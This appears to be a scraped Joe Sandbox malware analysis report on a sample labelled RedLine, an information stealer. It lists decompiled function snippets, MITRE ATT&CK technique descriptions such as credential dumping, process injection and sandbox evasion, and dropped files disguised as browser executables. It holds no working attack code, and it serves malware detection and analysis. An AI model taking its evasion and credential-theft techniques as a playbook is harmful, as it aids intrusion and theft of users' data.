Similarity

API ID: fprintf
String ID: Partial loss of significance (PLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4283191376
Opcode ID: f843c02a3ac8a37aa77967842025417caac5300183c0b72a0349012f07414de9
Instruction ID: 5c5fbc57719b7569c58261938820a787c5b85488a0f76514ebbb314d9a430951
Opcode Fuzzy Hash: f843c02a3ac8a37aa77967842025417caac5300183c0b72a0349012f07414de9
Instruction Fuzzy Hash: 76F04F63928E8882D3029F1CA4000BBB375FF4EB89F585325EE8D26574DF28D6428710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEEE5D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF77BEEE5D0() {
				void* _t9;

				goto 0x7beee56f;
				goto 0x7beee56f;
				return _t9;
			}

0x7ff77beee617
0x7ff77beee623
0x7ff77beee632

APIs

fprintf.MSVCRT ref: 00007FF77BEEE5B0

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF77BEEE597
Argument domain error (DOMAIN), xrefs: 00007FF77BEEE5D0

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: fprintf
String ID: Argument domain error (DOMAIN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2713391170
Opcode ID: 3e6e34d318e72c40502d74ba7c62aacede3605a22e17c65394e09e2c7d30bf8a
Instruction ID: 025dc7288272ede4d7c31f3cb1834b0892ee7c80071f875be8dbf91818fa1ccd
Opcode Fuzzy Hash: 3e6e34d318e72c40502d74ba7c62aacede3605a22e17c65394e09e2c7d30bf8a
Instruction Fuzzy Hash: 64F04F63928E8882D3029F1CA4000BBB375FF4EB89F585325EE8D26574DF28D6428710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEEE568 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF77BEEE5B0

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF77BEEE597
Argument singularity (SIGN), xrefs: 00007FF77BEEE568

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: fprintf
String ID: Argument singularity (SIGN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2468659920
Opcode ID: 7b03488b071f9b73a97bef2abc4efa76e6994db115f440a649f5ed4b0622428e
Instruction ID: efc023d9bc6d413a7147f22988503e990c40ad3abd43bf02fad425007dd90acc
Opcode Fuzzy Hash: 7b03488b071f9b73a97bef2abc4efa76e6994db115f440a649f5ed4b0622428e
Instruction Fuzzy Hash: 3DF06263924E8882D302DF1CA4000ABB375FF4EB89F585325EE8D36534DF28D5428710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEF9550 Relevance: 5.1, APIs: 4, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00007FF77FF77BEF9550(intOrPtr* __rcx) {
				void* _t1;
				intOrPtr _t7;

				if (__rcx == 0) goto 0x7bef95f0;
				_t7 =  *__rcx;
				if (_t7 == 0) goto 0x7bef95f0;
				if (_t7 == 0xffffffff) goto 0x7bef9660;
				asm("les eax, [eax+0x5b]");
				return _t1;
			}

0x7ff77bef955c
0x7ff77bef9562
0x7ff77bef9568
0x7ff77bef9572
0x7ff77bef9587
0x7ff77bef958e

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF77BEF9597
LeaveCriticalSection.KERNEL32 ref: 00007FF77BEF95C1

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 966df289b8b8c66977ad1a09e719be2d6dd09e40930df4ea73119a1ba05daa92
Instruction ID: 5b0d250b7eb80d4a721ba9fdf8d509cf25a2bfde3273c89bb688a4faae41c07a
Opcode Fuzzy Hash: 966df289b8b8c66977ad1a09e719be2d6dd09e40930df4ea73119a1ba05daa92
Instruction Fuzzy Hash: 8C318477A346418AE784DF39944466963A0FB44B6CFC84136CD6D4A398DF7CE885CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEF9880 Relevance: 5.1, APIs: 4, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 16%

			E00007FF77FF77BEF9880(intOrPtr* __rcx, void* __rdx) {
				void* _t12;
				long long _t16;
				intOrPtr _t17;
				intOrPtr _t26;
				void* _t28;

				_t17 =  *__rcx;
				EnterCriticalSection(??);
				_t26 =  *((intOrPtr*)(_t17 + 0xc));
				if (_t26 == 0) goto 0x7bef9900;
				_t16 = _t26 - 1;
				 *((long long*)(_t17 + 0xc)) = _t16;
				LeaveCriticalSection(??);
				if (_t26 != 1) goto 0x7bef98da;
				 *((long long*)(_t28 + 0x480d75c0)) =  *((long long*)(_t28 + 0x480d75c0)) + 1;
				_t12 = E00007FF77FF77BEF04E0( *((intOrPtr*)(__rcx + 8)));
				if (_t16 == 0) goto 0x7bef98ed;
				 *((long long*)( *((intOrPtr*)(__rcx + 0x10)))) = _t16;
				return _t12;
			}

0x7ff77bef988c
0x7ff77bef9899
0x7ff77bef989f
0x7ff77bef98a4
0x7ff77bef98a6
0x7ff77bef98ac
0x7ff77bef98af
0x7ff77bef98b8
0x7ff77bef98d5
0x7ff77bef98de
0x7ff77bef98e5
0x7ff77bef98eb
0x7ff77bef98f9

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF77BEF9899
LeaveCriticalSection.KERNEL32 ref: 00007FF77BEF98AF

Part of subcall function 00007FF77BEF8880: EnterCriticalSection.KERNEL32 ref: 00007FF77BEF8898
Part of subcall function 00007FF77BEF8880: ReleaseSemaphore.KERNEL32 ref: 00007FF77BEF88C6
Part of subcall function 00007FF77BEF8880: LeaveCriticalSection.KERNEL32 ref: 00007FF77BEF88D3

LeaveCriticalSection.KERNEL32 ref: 00007FF77BEF9913

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$ReleaseSemaphore
String ID:
API String ID: 3630377130-0
Opcode ID: a6a694f03dcd84c9aafc1569ff64daada8cc26fed13ff27649296c944c028d04
Instruction ID: 981ba31705f77989544064b8570681c3e3aa6e984bf05487c5901c7f08dea8d6
Opcode Fuzzy Hash: a6a694f03dcd84c9aafc1569ff64daada8cc26fed13ff27649296c944c028d04
Instruction Fuzzy Hash: ED319037A346428AE790AF39D8002A9B360FB84B98FC84131CE5D873A9DF78E445C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEF9410 Relevance: 5.1, APIs: 4, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00007FF77FF77BEF9410(intOrPtr* __rcx) {
				void* _t1;
				intOrPtr _t7;

				if (__rcx == 0) goto 0x7bef94a8;
				_t7 =  *__rcx;
				if (_t7 == 0) goto 0x7bef94a8;
				if (_t7 == 0xffffffff) goto 0x7bef9510;
				asm("les ecx, [eax+0x5b]");
				return _t1;
			}

0x7ff77bef941a
0x7ff77bef9420
0x7ff77bef9426
0x7ff77bef9430
0x7ff77bef9445
0x7ff77bef944a

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF77BEF9457
LeaveCriticalSection.KERNEL32 ref: 00007FF77BEF947E

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 0820afe1cf76078d584808b710687c4abc637131e2d4a4fc2351118ea3fed728
Instruction ID: 68259953aff7308337b7c00ec8ce872b1dacd6477009e6bc4dd2dbefaa7d45b8
Opcode Fuzzy Hash: 0820afe1cf76078d584808b710687c4abc637131e2d4a4fc2351118ea3fed728
Instruction Fuzzy Hash: 7F316077E382028ED794DF38D444269B3A0FB54B68FD88235CD5D4A798DB78E484CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEF9120 Relevance: 5.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,00007FF77BEF9749), ref: 00007FF77BEF9146
LeaveCriticalSection.KERNEL32(?,00007FF77BEF9749,?,?,?,?,?,?,?,?,?,?,?,00007FF77C1A1400,?), ref: 00007FF77BEF916B
EnterCriticalSection.KERNEL32(?,00007FF77BEF9749,?,?,?,?,?,?,?,?,?,?,?,00007FF77C1A1400,?), ref: 00007FF77BEF919C
LeaveCriticalSection.KERNEL32(?,00007FF77BEF9749,?,?,?,?,?,?,?,?,?,?,?,00007FF77C1A1400,?), ref: 00007FF77BEF91A6

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 1d3946a3044cc18cb778b92247febb096362daa03944763a571c42cbc9225e9a
Instruction ID: 9635549b5b4fa92c580e3b7a2443326e279ca9938743fb8c42c591d05578009e
Opcode Fuzzy Hash: 1d3946a3044cc18cb778b92247febb096362daa03944763a571c42cbc9225e9a
Instruction Fuzzy Hash: D001F227B286459DEA65EB27BC04A2AA650BF88FE9FCA1031DD0D07364CD3DE4428360

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report FKN6uh7y01.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: RedLine

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Operating System Destruction

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Operating System Destruction

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\Google\Chrome\updater.exe

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_FKN6uh7y01.exe_909a7fd8959236c2cadcdacbe03199b5db40977d_0ca881e9_b5c206fd\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE694.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF887.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF9EF.tmp.xml

C:\Users\user\AppData\Local\Google\brave.exe

C:\Users\user\AppData\Local\Google\chrome.exe

C:\Users\user\AppData\Local\Google\ofg.exe

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\vbc.exe.log

Windows Analysis Report
FKN6uh7y01.exe

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
